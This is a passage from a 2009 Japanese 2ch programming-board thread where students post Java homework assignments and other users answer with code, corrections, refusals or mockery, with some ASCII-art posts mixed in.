ああ、0.1秒の更新というのは1秒単位の変化を見張るためのものか。
なら100msでなくもっと周期を長くしても大丈夫。
553デフォルトの名無しさん:2009/05/26(火) 15:39:06
>>549
0.1秒おきくらいなら変化したかどうかを確認せずに常に針の更新処理を行っても特に負荷が大きくなることはないと思う。
実際に試してみて、もし針の更新処理でとても大変なことをやっていて重くて仕方がないことが判明したら、
その時こそ、>>551のactionPerformedの中で秒の値の変化があったかどうかを判断して、
変化があった場合だけrepaintすればいい。
554549:2009/05/26(火) 18:14:56
>>550,551,552,553
回答、ありがとうございます。参考にさせていただきます。
PaintComponent中では針だけでなく時計全体を描画しておりますので
あまり頻繁に更新処理をすると画面がちらつくそうです。(教官曰く)
ですので、actionPerformedを使う方向で行きたいと思います。
できれば、結果を報告します。
555デフォルトの名無しさん:2009/05/26(火) 20:21:37
>>554
画面のちらつきとsleepを使うかタイマーを使うかの選択は関係ない。
タイマーの方が記述がスマートかもというだけで効果は基本的に変わらない。
再描画するかしないかを判断するのもsleepでもタイマーでも同じようにできる。

消去と描画の過程が直接目に見えることがちらつきの大きな原因になるので、
swingを使っているならJPanelとかのダブルバッファを使用しているコンポーネントを使えば、
paintComponentに普通に描画処理を描くだけでダブルバッファリングの恩恵に与れる。

ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/680.java
参考までに別スレッドを使って50ms間隔でrepaintを呼ぶものを書いてみた。
もちろん、どのくらい豪華な時計を描くかにもよるので、
描かなくていいタイミングや描画領域が分かるなら、
それを判断して不要な再描画を控えるのはいいことだとは思う。
556549:2009/05/26(火) 20:24:18
Timerを使ったらうまく行きました。
ありがとうございました。
557549:2009/05/26(火) 20:37:55
>>555
回答ありがとうございます。
おっしゃる通り、描画とタイミングの判断とTreadかTimerのどちらを使う
かというのは、別問題ですね。失礼しました。
時計はGoogleの画像サイトからネットワークで画像を引っ張ってきて
それに着色する感じです。結構でかいので再描画の判断を付け加える
ことにしました。
558デフォルトの名無しさん:2009/05/27(水) 19:18:30
【 課題 】数当てゲームを作成する
【 形態 】1. Javaアプリケーション(main()で開始)
【 期限 】27日23:00まで
【 Ver  】1.5.0_16
【 補足 】
ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/681.txt
途中までのコード、詳細はこちらに書いてあります。
よろしくおねがいします。
559デフォルトの名無しさん:2009/05/27(水) 19:50:01
>>558
詳細は書かれていません。
プログラムは書かれているとおりに動きます。
プログラムがどう動くかはプログラムから読み取れますが、
書いた人間が何のつもりだったかは読み取れません。
560デフォルトの名無しさん:2009/05/27(水) 22:06:18
>>559
課題の詳細を書いたつもりだったのですが、誤謬があったようですね…
すみません
561デフォルトの名無しさん:2009/05/27(水) 23:37:42
>>560
どの道、慶応で使ってるクラスは知らないし、手元で動くように工夫する気がしない。
562デフォルトの名無しさん:2009/05/28(木) 18:35:23
import java.io.*;
import java.util.Random;
class sample {
public static void main(String arg[]) throws Exception {
System.out.println("++数当てゲームを開始します++");
System.out.println("1から100までの整数のどれかを選びました。その数を当ててください。");
String s1 = "A";String s2 = "B";int count = 0;String retry = null;Random rnd = new Random();int randomNumber = rnd.nextInt(100);
while (true) {
BufferedReader br1 = new BufferedReader(new InputStreamReader(System.in));int player = Integer.parseInt(br1.readLine());count++;
if (randomNumber == player) {
System.out.println("当たりです。予想回数は" + count + "回でした。");System.out.println("もう一度プレイしますか?(Yes=A、No=Bを入力)");BufferedReader br2 = new BufferedReader(new InputStreamReader(System.in));retry = br2.readLine();
if (retry.equals(s2)) {
System.out.println("お疲れさまでした。また遊んでくださいね。");
break;
}
//ランダム数初期化
randomNumber = rnd.nextInt(100);
//予想回数初期化
count = 0;
} else if (player > randomNumber) {
System.out.println(player + "よりは小さいです。もう一度予想してみましょう。");continue;
} else if (randomNumber > player) {
System.out.println(player + "よりは大きいです。もう一度予想してみましょう。");continue;
}}}}
>>558 期限過ぎてるけどOK?(正常入力のみ)
563デフォルトの名無しさん:2009/05/29(金) 14:40:28
【課題】放物運動のアニメーションプルグラムの作成
【形態】Applet
【期限】6/4(木)15:00まで
【補足】作成したjavaプログラム、対応するclassのプログラム、IEで稼働させるためのhtmlファイル
の3つを提出になっています。
丸投げで申し訳ないですが、よろしくお願いいたします。
564デフォルトの名無しさん:2009/05/29(金) 14:58:08
>>563
プルグラム の検索結果 約 4,930 件中 1 - 10 件目 (0.23 秒)
565デフォルトの名無しさん:2009/05/29(金) 15:01:52
>>564
打ち間違いです><ごめんなさい
プルグラム>プログラムです><

意外とヒットしてるww
566デフォルトの名無しさん:2009/05/29(金) 15:32:34
>>563です
【GUI】AWT
何度もカキコすいません
よろしくお願いいたします。
567558:2009/05/29(金) 16:48:50
>>562
はっはー、こうやって書けばよかったのか…
勉強になりますた…
568デフォルトの名無しさん:2009/05/29(金) 20:27:04
569デフォルトの名無しさん:2009/05/29(金) 22:02:40
>>568
ありがとうございました。助かりました><
570デフォルトの名無しさん:2009/05/30(土) 19:11:24

【 課題 】以下のプログラムをウィンドウのサイズを変更せずに画像を整理して表示するようにすること。
      その際詳しく見たい画像があれば、他と重ならずその画像全体が見えるようにすること      
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】1. AWTのみ
【 期限 】6月1日 《必須》 《必須》
【 補足 】Javaを習い始めて1週間なのでテンプレの中のG
      GUIなどがなんのことかもわかっていないほどの初心者です
      Java入門などを見ながらやろうとしたのですがさっぱりでした
      この課題のプログラムは後で発表することになるものなので
      わかりやすいものにしていただけると非常に助かります

http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/684.txt
571デフォルトの名無しさん:2009/05/30(土) 22:28:33
GUIがわからないのはJava以前の問題だと思うが
572デフォルトの名無しさん:2009/05/31(日) 00:15:18
要件がわからなすぎるな
573570:2009/05/31(日) 18:48:03
うpロダにあるプログラムをもとに課題のプログラムを作れというものです。
この元のプログラムは同じフォルダにある画像ファイルを読み込んで、
ウィンドウ上にランダムに表示するプログラムになっています。
574デフォルトの名無しさん:2009/05/31(日) 19:07:09
ゆとり世代って言われても文句言えないな・・・
575デフォルトの名無しさん:2009/05/31(日) 21:12:10
>>570
「整理」ってなんだよ
576570:2009/05/31(日) 21:28:50
>>574
ゆとり世代ど真ん中で本当にすみません・・・

>>575
整理ってのは説明によると左上から順番に表示するなどの方法で
画像一覧的なものをだすことだと思います
問題文そのままなのでおかしくかんじたのかもしれませんが
うpロダに挙げたものが573で書いたようにランダムで表示するものなので
これを整理して(順番に並べて)表示せよという意味です。
577デフォルトの名無しさん:2009/05/31(日) 21:38:26
>>576
などとか、思いますってなんだよ
大体、一覧的に表示するなら、二行目の「他と重ならず」ってどういうことだよ。
578570:2009/05/31(日) 22:07:04
>>576
などという表現を使ったのは具体的にこうしろという課題ではなかったためです。
俺のこのプログラムでの実行結果のイメージを書いてみました。

http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/685.zip

A〜Jまで名前順にそのままのサイズでウィンドウ1に表示し、
よく見たい画像あればその画像をクリックすることで新しい、ウィンドウ2を開いて
その画像1枚だけを表示するというのが私のイメージするこの課題のプログラムの実行結果です。
579デフォルトの名無しさん:2009/05/31(日) 22:21:11
import java.io.*;
class Mondai702
{
public static void main(String args[])throws IOException
{
shoes sh = new Shoes("スニーカー",4800,24.5);
Wine wn = new Wine("ボジョレー赤",3300,"フランス",2001);
System.out.println("1:靴を表示 2:ワインを表示");
BufferedReader br = new BufferedReader (new InputStreamReader(System.in));
String str = input.readLine();
int num = Integer.parseInt(str);
【 】 obj;
switch(num){
case 1:
obj = sh;
break;
case 2:
obj = wn;
break;
default:
System.out.println("正しい番号を入力をしてください。");
return;
}
obj.printShohin();
}
}
実行結果
1:靴を表示 2:ワインを表示
1
スニーカー、サイズ24.5cm,4800円

【】の中に何入れたらいいかな?
580デフォルトの名無しさん:2009/05/31(日) 22:31:04
>>579
他所で聞け
581デフォルトの名無しさん:2009/05/31(日) 23:35:03
>>578
規定が無いんだから、画像はウィンドウどころか画面より大きいかもしれないとか、そういうことはどうするんだ?
582570:2009/06/01(月) 03:01:06
>>581
ウィンドウのサイズは固定なのでスクロールバーを実装して、
縦横にスライドさせることで全体をみることができるようにすればいいよ思います
583デフォルトの名無しさん:2009/06/01(月) 10:34:46
>>582
縦横スクロールで際限なくなったら何を基準に並べる枚数をきめるんだよ
584579:2009/06/01(月) 11:12:29
お願いします。答えてください。
585デフォルトの名無しさん:2009/06/01(月) 11:26:55
>>584
>>1くらい読め
586デフォルトの名無しさん:2009/06/01(月) 12:13:41
【 課題 】以下のプログラムの【】の中を埋めよ?
import java.io.*;
class Mondai702
{ public static void main(String args[])throws IOException
{ shoes sh = new Shoes("スニーカー",4800,24.5);
Wine wn = new Wine("ボジョレー赤",3300,"フランス",2001);
System.out.println("1:靴を表示 2:ワインを表示");
BufferedReader br = new BufferedReader (new InputStreamReader(System.in));
String str = input.readLine();
int num = Integer.parseInt(str);
【 】 obj;
switch(num){
case 1:
obj = sh;
break;
case 2:
obj = wn;
break;
default:
System.out.println("正しい番号を入力をしてください。");
return; }
obj.printShohin(); } }
実行結果
1:靴を表示 2:ワインを表示
1
スニーカー、サイズ24.5cm,4800円

【 形態 】1. Javaアプリケーション(main()で開始)
【 期限 】6月1日17:00
【 補足 】丸投げでお願いします。
587デフォルトの名無しさん:2009/06/01(月) 12:22:23
>>586
そこを適切なクラスで埋めてもコンパイルできないから、正解など無い。
588デフォルトの名無しさん:2009/06/01(月) 14:58:47
【 課題 】車、新幹線、飛行機の3つの交通手段を考える。距離と、所要時間の最大限度(許
容最長時間)を指定したとき、許容最長時間内に目的地に到着可能で、かつ、費用
が一番安い交通手段を調べて表示しなさい。ただし、距離(km)と許容最長時間(h)
は浮動小数点数としてキーボードから与える。許容最長時間内に到着できる手段
がない場合は、「不可能です」と表示する。それぞれの時速、料金、利用規定は
車 : 60km/h 20 円/km
新幹線 : 200km/h 50 円/km 距離が50km 以上のときに利用可能
飛行機 : 1000km/h 35 円/km 距離が400km 以上のときに利用可能
待機・乗降を合わせて1 時間にかかる
とする。
【 形態 】1. Javaアプリケーション(main()で開始)
【 期限 】6/2 朝10時
【 補足 】基本丸投げでお願いします
589デフォルトの名無しさん:2009/06/01(月) 16:28:06
>>588
>待機・乗降を合わせて1 時間にかかる
ってなんだよ
590デフォルトの名無しさん:2009/06/01(月) 17:47:51
そこ突っ込んでどうするんだよ・・w
591デフォルトの名無しさん:2009/06/01(月) 19:19:30
>>590
いや、完全に意味不明だろ
592デフォルトの名無しさん:2009/06/01(月) 19:24:15
「待機・乗降を合わせて1 時間かかる」だったら
飛行機を使った場合 1 + 距離/速度 時間かかるってことだろ?
593デフォルトの名無しさん:2009/06/01(月) 19:41:12
>>592
待機・乗降を合わせて1 時間にかかる
                  ~~
だぞ?
仮に「待機・乗降を合わせて1 時間かかる」だとしても、飛行機にだけ掛かるかどうか不明だ。
594デフォルトの名無しさん:2009/06/01(月) 20:03:59
そういうこと言い出したらキリがないから適当に実装して違うといわれてから対応するのが正しい
今回は宿題だから問題文がこうだからこうだと考えて実装したとコメントしておけばいいだろう
595デフォルトの名無しさん:2009/06/01(月) 20:49:30
>>594
じゃ、よろしく
596570:2009/06/01(月) 21:59:51
>>583
それならばかなり大きな画像も小さな画像も全て同じサイズで出力するようにできないでしょうか?
それを順番に並べるように出力し、ウィンドウ1に表示する。
ウィンドウ1ですべて表示できないほど大量の画像があるときのために
縦のスクロールのみ実装し、上下のスライドで全ての画像を閲覧できるようになると思います。

そしてウィンドウ1に表示された見たい画像をクリックすると
新しくウィンドウ2が開き、元のサイズの画像が表示される。
ウィンドウ2の方には画面内に収まらないような画像でも全体が見れるように
上下左右のスクロールバーを実装する

というのでなんとかできないでしょうか?
597デフォルトの名無しさん:2009/06/01(月) 22:11:41 BE:1585483294-PLT(30618)
<!--
document.write("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
598デフォルトの名無しさん:2009/06/01(月) 22:23:45


             _____
          _,/. . . . . . . . .  ̄ヽ、
         /. . /. . . . . ._._. . . . . . . ..\
        /. . . . .|. . . . \ . .\ . . .\. . ハ    
       //. .| . .l . . . . . .ヽ . . ヽ. . . ヽ\!
      /;;;;;;|、. ヽ. .ヽ . . . . . . }. . . .} . . ..',;;;;;\  
      /;;;;;;;;| .\.\. ヽ . . . li .|i .|. .|. .l. . l;;;;;;;;;ヘ  
      |;;;;;;;;;ゝ、. .ゝ、ゝ、ヽ,. .!レ_!./|. .| . |;;;;;;;;;;;;|   
      |;;;;;;∧. . T. ,,r=  ソ '" ̄`ン. /. /ヘ ;;;; |
      ヘ;;;;{ .ヽ. .ヘ´///     ///イ/./..!. .};;;;/   
      ヾゝ へ._._.>   __,  ∠イ. . ..| /イ   
          |. ..ヽ、   `ー′ イ |.!. . . l. . .|    
          /. . . . . .≧ァ ' _,/ >, . .l. . .!    
           /. . r ''"¨/ /! /  /  `丶、. .!
        /. . .r|   l i/ /    , -=、ヘ\ _,ノ
        /. . .イ゙〉'  / /    イ    /}.|.ヽ

599デフォルトの名無しさん:2009/06/01(月) 22:24:36
    ,イ /  , ヽ `ヽ、
   / {  {  lヽ }  i  !_
   /{ i N\リーソヽ lハi;;;ヽ
   |;ヽル-‐  ‐‐- ソ }l;;;;;|
   {;;;;| {"" _,"" ∠ノ |;;;/  
   ヾハ ゝ、 _ , イルノi.イ  
    ノ、_l/ノ ! />、│/ |
    / ,イ i// _イ / |     
   J r / / /  / Y 八

600デフォルトの名無しさん:2009/06/01(月) 22:25:42
       /      ト、',   ヽ _
  \   /i   ハ λ. i iナト、ノ l;;;; ヽ
     / i ヽ〆 ヽ! jノ● .jノ ! ハ,;;;;; i
    /;;;;;;;i ヽ! ●    , ⊂⊃ノl ,!;; ノ/
 ―  |;;;;;;∧ \⊃ r´`´ヽ    l jノ:::::::::
    ヘ;;;;{  ̄| 、  ヽ、_,ノ  ノ , ヽ :::::::
   .r- ,_ヾゝ ノ ヽ , ____,. イ // ヾ ヽ::::::
   .l、 T  ̄ ̄ ト、 \ヽ、 // /   ヾ ヽ:::
    ヽ、l :::::::[]::',_l    \ V /    /ヽ
      .l ::::::::::::i ;;l   / /   /::::::::::
      l :::::::[]:l ;;;l  \ \/::::::::::::::
601デフォルトの名無しさん:2009/06/01(月) 22:56:26 BE:924865373-PLT(33334)
^^
602デフォルトの名無しさん:2009/06/02(火) 10:49:26
反復構造てどこで質問すればいい?
603デフォルトの名無しさん:2009/06/02(火) 11:51:00
ここ以外のどこか。
604デフォルトの名無しさん:2009/06/03(水) 16:59:42
【 課題 】
配列を利用して、行列A=(aij)(aij=i+j-1, i,j=1,2,・・・7)と
ベクトルb=t[1 2 ・・・ 7](tは転置です)を作り、行列Aとベクトルbの積を求めて出力せよ
【 形態 】1. Javaアプリケーション(main()で開始)
【 期限 】6月4日
【 Ver  】1.6.0_11
【 補足 】

間違っている所の指摘をお願いします

public class TK006 {
public static void main(String args[]) {
int [][]a = new int[7][7];
int []b = {1, 2, 3, 4, 5, 6, 7};
int sum = 0;
for (int i=0; i<a.length; i++) {
for(int j=0; j<a[0].length; j++) {
a[i][j] = (i+1)+(j+1)-1;
}
}
for(int i=0; i<a.length; i++) {
sum = 0;
for(int j=0; j<a[0].length; j++) {
sum = sum + a[i][j]*b[j];
}
System.out.printf("%3d", (i+1), sum);
System.out.println();
}
}
}
605デフォルトの名無しさん:2009/06/03(水) 17:50:36
>>604
何の計算か知らないが、なんにしろ結果を表示したいんじゃないか?
System.out.printf("%3d:%3d", (i+1), sum);
606デフォルトの名無しさん:2009/06/03(水) 18:06:29
>>605
アァ・・・
すみませんありがとうございました
607デフォルトの名無しさん:2009/06/04(木) 01:48:56
以前>>514さんに助けてもらったものです。前回は>>514さんに作ってもらったファイルが完璧ですごく助かりました

【 課題 】scannerの拡張の続き
【 形態 】1. Javaアプリケーション(main()で開始)
【 期限 】6月11日
【 補足 】
今回も課題丸投げになってしまいます。申し訳ないんですが自分の力だけではどうしてもプログラムが完成しません

>>514さんに作っていただいたプログラム
ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/670.zip

ttp://www51.tok2.com/home/rg550/cgi-bin/hosoku/img0040.zip
のフォルダの中のal2-2009-05とal2-2009-06のスライドの内容を追加していくという課題です
いらないかもしれませんが参考までに前回の課題のスライドも入れてあります
al2-2009-05-revというスライドはal2-2009-05の間違い部分を訂正しているものです
提出期限がまだ先ですし課題自体めんどくさいものかもしれませんがどなたか助けてくれる方いたらお願いします

608デフォルトの名無しさん:2009/06/04(木) 03:25:35
最初の課題で投げてるんだから授業が終るまで投げ続けるしかないんじゃね。
609デフォルトの名無しさん:2009/06/04(木) 04:51:53
なんという綱渡り…
610デフォルトの名無しさん:2009/06/04(木) 06:09:59
最終課題で全員知らんふりを決め込むのも楽しいかも。
611デフォルトの名無しさん:2009/06/04(木) 10:19:56
>>610
成績をつける人間次第だが、最終課題だけできないなら、課題の点数は及第点だろ。
期末も課題提出のようで配分は三割。残り七割が出来ていれば落第ということはないだろ。
http://syllabus.doshisha.ac.jp/syllabus/html/2008/8160554.html
612514:2009/06/04(木) 10:21:25
>>607
http://book.mycom.co.jp/repub/ondemand/kobetsu/demand_imadokino.htm

↑これ買ってくれたら、課題をやってもいいけど…。
とか言ってみる…。

なんか、この課題みてるとデジャヴューが…。。。
613授業中:2009/06/04(木) 11:28:12
三角形の底辺と高さを引数にして、その面積を計算するメソッドを作れ。そして
適当に底辺と高さを与えてそのメソッドを事項せよ。

これ分かる人いますか?
614デフォルトの名無しさん:2009/06/04(木) 11:50:29
>>613
>>1くらいよめ
615デフォルトの名無しさん:2009/06/04(木) 12:59:53
>>613
最近のゆとりは三角形の面積すら計算できないのか。
あと、「事項せよ」ってなんだよw
616デフォルトの名無しさん:2009/06/04(木) 14:21:31
たぶん実行せよの間違いだと思われ
617デフォルトの名無しさん:2009/06/04(木) 17:52:10
>>613
これでいいのか
main関数にこれを入れてくれ
{
double  high=3.0;
double width=5.0;
System.out.println(area(high,width));
}

//面積を計算するメソッド
public static double area(double high,double width){
return high*width/2.0;
}
618デフォルトの名無しさん:2009/06/04(木) 17:56:44
>>617
>>1を読まないやつに答えるなよ。マジ空気嫁。
619デフォルトの名無しさん:2009/06/04(木) 20:31:43
課題・ミュージックプレイヤーの実装

ミュージックプレイヤーに要求されること
1、曲の登録・削除ができること
2、曲の再生ができること(ただし,これは実際に音が出るわけではなく,再生は一瞬で終了する)
3、曲の再生時に,曲名を出力すること
4、曲が最低限持っていなければならない情報は,曲名,アーティスト名,アルバム名,発売年月日,再
生回数である
5、現在プレイヤーに登録されている曲の一覧が表示できること
6、曲の一覧表示は,曲名,再生回数のそれぞれによってソートできること
7、アルバムに収録されている曲の一覧表示ができること

制約
 システムを作成するに当たっては,以下の制約を満たさなければならない。
・次のクラスを実装すること: 曲,プレイヤー,mainメソッドを含む全体をコントロールするクラス
・登録できる曲数に制限を設けないこと

【 形態 】1. Javaアプリケーション(main()で開始)
【 期限 】6月7日
【 Ver  】1.6.0_11

すいませんが、よろしくお願いいたします。
620デフォルトの名無しさん:2009/06/04(木) 20:49:07
以前このスレで助けてもらったものです。
今回もどうしてもできないのでよろしくお願いします。
【 課題 】 http://www51.tok2.com/home/rg550/cgi-bin/hosoku.html
コメント620のzip内のEx08の中の問題2のプログラム
【 形態 】1. Javaアプリケーション(main()で開始)
【 期限 】6月8日
【 Ver  】 1.6.0_13
【 補足    zipの中にあるサンプルプログラムを修正して作ります。
また問題B2はワードのファイルに書いてあります。 

621デフォルトの名無しさん:2009/06/04(木) 21:49:59
>>620
仕様がよくわからんのだが、これって
NOT→not
AND→and
LPAREN→(
RPAREN→)
上記以外はIDENTとすればいいのかい?
622デフォルトの名無しさん:2009/06/04(木) 22:55:00
>>621
そうです。説明不足ですいません。
623607:2009/06/05(金) 01:34:38
>>608
そうですね・・実力もないのにこの講義を履修したの間違ってたかもしれません
一応一番最初の課題はこのスレでやってもらったのとは別に自分でやったんですが2回目は>>514さんのをほぼそのままでした

>>612
その本に似てるプログラムが乗ってるんでしょう?購入したいんですが高いです・・
624デフォルトの名無しさん:2009/06/05(金) 04:08:38
>>623
確か最初の課題は提出直前まで何もかも分からないとか言ってなかったっけ?

腹黒いなお前
625デフォルトの名無しさん:2009/06/05(金) 17:33:40
課題・ミュージックプレイヤーの実装

ミュージックプレイヤーに要求されること
1、曲の登録・削除ができること
2、曲の再生ができること(ただし,これは実際に音が出るわけではなく,再生は一瞬で終了する)
3、曲の再生時に,曲名を出力すること
4、曲が最低限持っていなければならない情報は,曲名,アーティスト名,アルバム名,発売年月日,再
生回数である
5、現在プレイヤーに登録されている曲の一覧が表示できること
6、曲の一覧表示は,曲名,再生回数のそれぞれによってソートできること
7、アルバムに収録されている曲の一覧表示ができること

制約
 システムを作成するに当たっては,以下の制約を満たさなければならない。
・次のクラスを実装すること: 曲,プレイヤー,mainメソッドを含む全体をコントロールするクラス
・登録できる曲数に制限を設けないこと

【 形態 】1. Javaアプリケーション(main()で開始)
【 期限 】6月7日
【 Ver  】1.6.0_11

すいませんが、よろしくお願いいたします。


626デフォルトの名無しさん:2009/06/05(金) 17:36:31
あわてるなんとかはもらいが少ないですよ
627デフォルトの名無しさん:2009/06/05(金) 20:24:42
>>625
GUIはいるの?
628デフォルトの名無しさん:2009/06/05(金) 20:35:58
>>627
>>625じゃないけどいらない
629デフォルトの名無しさん:2009/06/05(金) 20:49:31
>>625の者です。
GUIではなくCUIでよろしくお願いします。
説明不足があり申し訳ありませんでした。
630デフォルトの名無しさん:2009/06/06(土) 15:22:47
CUIだったら勉強にならんなぁ
631デフォルトの名無しさん:2009/06/06(土) 18:09:49
 課題 】五目並べのゲームを作成
【 形態 】2. Applet/
 GUI  】4. 制限なし/        《GUIの課題の場合必ず選択》
【 期限 】6月8日 回答希望日6月7日

【 補足 】ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/687.java
import java.awt.*;
import javax.swing.*;
public class gomoku extends JFrame{
public gomoku(){
setTitle("gomoku");
setResizable(false);
MainPanel panel = new MainPanel();
Container contentPane = getContentPane();
contentPane.add(panel);
pack();
}
public static void main(String[] args){
gomoku frame=new gomoku();
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setVisible(true);
}
}
この二つで五目並べを作っていたのですが勝負に勝ったときや負けたときに
勝負がつくようにしたいのと、簡単なAIを実装して対戦できるようにします。
面倒なら一から作っていただいてもかまいません。
お願いします。
632デフォルトの名無しさん:2009/06/06(土) 22:24:20
633607:2009/06/07(日) 00:01:58
>>624
言い方悪かったですすいません。このスレでやってもらったものはスライドと違う内容も含まれていたりしたので、
やってもらったのを参考に自分で一から作りなおしたという意味です。
このスレの方の協力がなければ完成しませんでした
634デフォルトの名無しさん:2009/06/07(日) 08:39:04
【課題提示用テンプレ】
【 課題 】ドコモの携帯で動く三目並べ
【 形態 】1. Javaアプリケーション(main()で開始) /4DoJa 5.1 /5. Eclipse3.0
【 GUI  】4. 制限なし
【 期限 】2009年6月9日15時00分
【 Ver  】"1.6.0_13"
【 補足 】課題内容は『gif画像を自作して240*240の画面で三目並べを制作せよ』
画像だけは用意していますが好きに改造・作成していただいてかまいません
敵処理用のAIも作ってください
メニュー画面
 ↓
ゲーム   
 ↓
勝敗結果表
どの場面でも右ソフトキーが押されたら終了、左ソフトキーが押されたらもう一度

ゲーム画面の処理と
オプションで○番×番を人コンピュータで切り替え観戦したり、両方人にして対戦したりもさせたい

んですがよく分かりませんソースに関しては丸投げします
画像は ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/688.zip にあります。
パスは設定しておりません。
どうかよろしくお願いします
635デフォルトの名無しさん:2009/06/07(日) 08:49:04
>>634
追記です
【 追記 】『選択非選択の画像切り替え→選択部分にEnterキーで手を置く』という処理もお願いします
636514:2009/06/07(日) 15:11:15
>>607
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/689.zip

うん。まあ。高いよね。
というわけで、例によって適当に作ってみた。
運がよければ動くはず。
637607:2009/06/07(日) 16:53:03
>>636
本当にありがとうございます。助かります。
638デフォルトの名無しさん:2009/06/07(日) 18:10:23
課題・ミュージックプレイヤーの実装

ミュージックプレイヤーに要求されること
1、曲の登録・削除ができること
2、曲の再生ができること(ただし,これは実際に音が出るわけではなく,再生は一瞬で終了する)
3、曲の再生時に,曲名を出力すること
4、曲が最低限持っていなければならない情報は,曲名,アーティスト名,アルバム名,発売年月日,再
生回数である
5、現在プレイヤーに登録されている曲の一覧が表示できること
6、曲の一覧表示は,曲名,再生回数のそれぞれによってソートできること
7、アルバムに収録されている曲の一覧表示ができること

制約
 システムを作成するに当たっては,以下の制約を満たさなければならない。
・次のクラスを実装すること: 曲,プレイヤー,mainメソッドを含む全体をコントロールするクラス
・登録できる曲数に制限を設けないこと

【 形態 】1. Javaアプリケーション(main()で開始)
【 期限 】6月9日
【 Ver  】1.6.0_11

すいませんが、よろしくお願いいたします。

639デフォルトの名無しさん:2009/06/07(日) 18:21:32
ほぼ同じ内容を何度も書き込みって荒氏か
640デフォルトの名無しさん:2009/06/07(日) 18:28:16
641デフォルトの名無しさん:2009/06/07(日) 18:53:12
>>638
640番さんありがとうございました。
とても助かりました。感謝いたします。
642デフォルトの名無しさん:2009/06/07(日) 18:57:09
【 課題 】反復法の課題です http://upsurusuru.hp.infoseek.co.jp/cgi-bin/src/up5141.zip
【 形態 】Javaアプリケーション(main()で開始)
【 期限 】6月9日18時迄
【 Ver  】1.6.0_11
【 補足 】
丸投げですみません・・・お願い致します
643642:2009/06/07(日) 18:58:17
すみません、URLはこちらでした
http://upsurusuru.hp.infoseek.co.jp/cgi-bin/src/up5142.jpg
644デフォルトの名無しさん:2009/06/07(日) 20:32:00
以前このスレで助けてもらったものです。
今回もどうしてもできないのでよろしくお願いします。
【 課題 】 http://www51.tok2.com/home/rg550/cgi-bin/hosoku.html
コメント620のzip内のEx08の中の問題2のプログラム
【 形態 】1. Javaアプリケーション(main()で開始)
【 期限 】6月8日
【 Ver  】 1.6.0_13
【 補足    zipの中にあるサンプルプログラムを修正して作ります。
また問題B2はワードのファイルに書いてあります。 
645デフォルトの名無しさん:2009/06/07(日) 21:58:50
>>644
ノーテーションが分からない
646デフォルトの名無しさん:2009/06/07(日) 22:11:24
ノーテーションってなんだよ
647デフォルトの名無しさん:2009/06/07(日) 22:13:39
>>644
つか、JWORDウィルスを含んだページのリンク張るなカス。
やる気失せたわ。
648デフォルトの名無しさん:2009/06/07(日) 22:56:39
>>644
新手の嫌がらせか?
649デフォルトの名無しさん:2009/06/07(日) 23:16:57
最初からやる力のない人はお黙りください
650デフォルトの名無しさん:2009/06/07(日) 23:25:23
lzhなんで却下
651デフォルトの名無しさん:2009/06/07(日) 23:30:54
わざわざageを入れてageるやつは新手でなく古くからある嫌がらせだ。
652デフォルトの名無しさん:2009/06/08(月) 03:35:25
>>642
public class R642 {
public static void main(String[] args) {
for (RecurrenceFormula formula : new RecurrenceFormula[] {
new ExampleFormula() { public String description() { return "(1)"; } public double g(double x) {return 28/((x+4)*x-25);} },
new ExampleFormula() { public String description() { return "(2)"; } public double g(double x) {return Math.sqrt((25*x+28)/(x+4));} },
new ExampleFormula() { public String description() { return "(3)"; } public double g(double x) {return x-f(x)/((3*x+8)*x-25);} }
}) for (double x0 : new double[] {-10, formula.description().equals("(2)") ? 1 : 0, 10}) formula.iterations(x0, 1e-10, 500);
}
private abstract static class ExampleFormula extends RecurrenceFormula {
public double f(double x) { return ((x+4)*x-25)*x-28; }
}
private abstract static class RecurrenceFormula {
public void iterations(double x0, double epsilon, int maxIteration) {
double x = x0;
boolean converged = false;
int k;
for (k = 0; k < maxIteration; k++) {
if (Math.abs(f(x)) < epsilon) { converged = true; break; }
x = g(x);
}
System.out.println(description() + ": x0=" + x0 + ", eps=" + epsilon + ": repeat=" + k + ", solution=" + (converged ? String.valueOf(x) : "not converged"));
}
public abstract double f(double x);
public abstract double g(double x);
public abstract String description();
}
}
653デフォルトの名無しさん:2009/06/08(月) 04:13:52
初期値のx_0で収束した時はまだ反復していないので反復回数は0回と考えて、
x_kで収束条件を満たす場合の反復回数をk回と数えるなら、
> 反復回数が500回を超えたときは、その反復は収束しなかったものとする.
なので、
for (k = 0; k < maxIteration; k++) {
は、
for (k = 0; k <= maxIteration; k++) {
にすべき。
それと、そのメソッド内のconvergedというboolean変数は、
反復回数も出さないといけないことを忘れてkのスコープをfor文内に限ってた時の名残なので、
convergedを無くして、収束条件を満たしたらbreakだけして、
収束したかどうかの判断はkとmaxIterationの比較で済ませることもできる。
654デフォルトの名無しさん:2009/06/08(月) 13:23:48
>>649
やる力ってww
馬鹿なの?死ぬの?
655デフォルトの名無しさん:2009/06/08(月) 16:03:11
力でなく気力だったwwwww
656デフォルトの名無しさん:2009/06/08(月) 16:29:26
>>619みたいに>>620も繰り返せば回答が得られると思ってるのか。
前例に倣うならあともう1回必要だぞ。
657デフォルトの名無しさん:2009/06/08(月) 20:01:49
掲示板を荒らすのやめろ
658デフォルトの名無しさん:2009/06/08(月) 23:45:14
>>652
3つともやって頂けるとは・・・助かりました
ありがとうございました
659デフォルトの名無しさん:2009/06/09(火) 00:27:04
【 課題 】java統合開発環境を作成する
【 形態 】1. Javaアプリケーション
【 GUI  】制限なし
【 期限 】6/10
【 Ver  】1.6.0_13
【 用語 】
【 補足 】メモ帳にコンパイルと実行ができるようにする程度のものでOKです

よろしくお願いします
660デフォルトの名無しさん:2009/06/09(火) 10:31:52
>>657
別に荒れてると思わないけど・・
新参ですか?だったら過去ログ読み直してみると良いですよ^^
661デフォルトの名無しさん:2009/06/09(火) 10:45:41
>>659
